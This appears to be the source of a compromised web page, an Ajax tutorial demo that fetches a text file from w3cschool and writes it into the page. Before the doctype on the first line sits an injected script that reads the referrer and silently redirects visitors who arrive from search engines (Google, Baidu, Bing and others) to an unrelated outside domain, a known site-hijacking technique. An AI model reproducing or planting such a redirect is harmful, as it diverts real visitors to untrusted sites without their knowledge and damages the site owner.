d:\wwwroot\wuchunhua\index.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002:
<html lang="en">
003:
<head>
004:
<meta charset="gb2312">
005:
<title>Tryrun 1</title>
006:
</head>
007:
<body>
008:
<div id="view">
009:
<p>点击下面的按钮,将 Ajax 请求回来的数据更新在该文本内</p>
010:
</div>
011:
<button type="button" id="btn">发起 Ajax 请求打开https://www.w3cschool.cn/statics/demosource/ajax_info.txt</button>
012:
013:
<script>
014:
document.getElementById("btn").onclick = ajaxRequest;
015:
016:
function ajaxRequest () {
017:
var xhr = new XMLHttpRequest();
018:
019:
xhr.open("GET", "https://www.w3cschool.cn/statics/demosource/ajax_info.txt", true);
020:
xhr.send();
021:
022:
xhr.onreadystatechange = function(){
023:
if (xhr.readyState === 4 && xhr.status === 200) {
024:
document.getElementById("view").innerHTML = xhr.responseText;
025:
}
026:
}
027:
}
028:
</script>
029:
</body>
030:
031: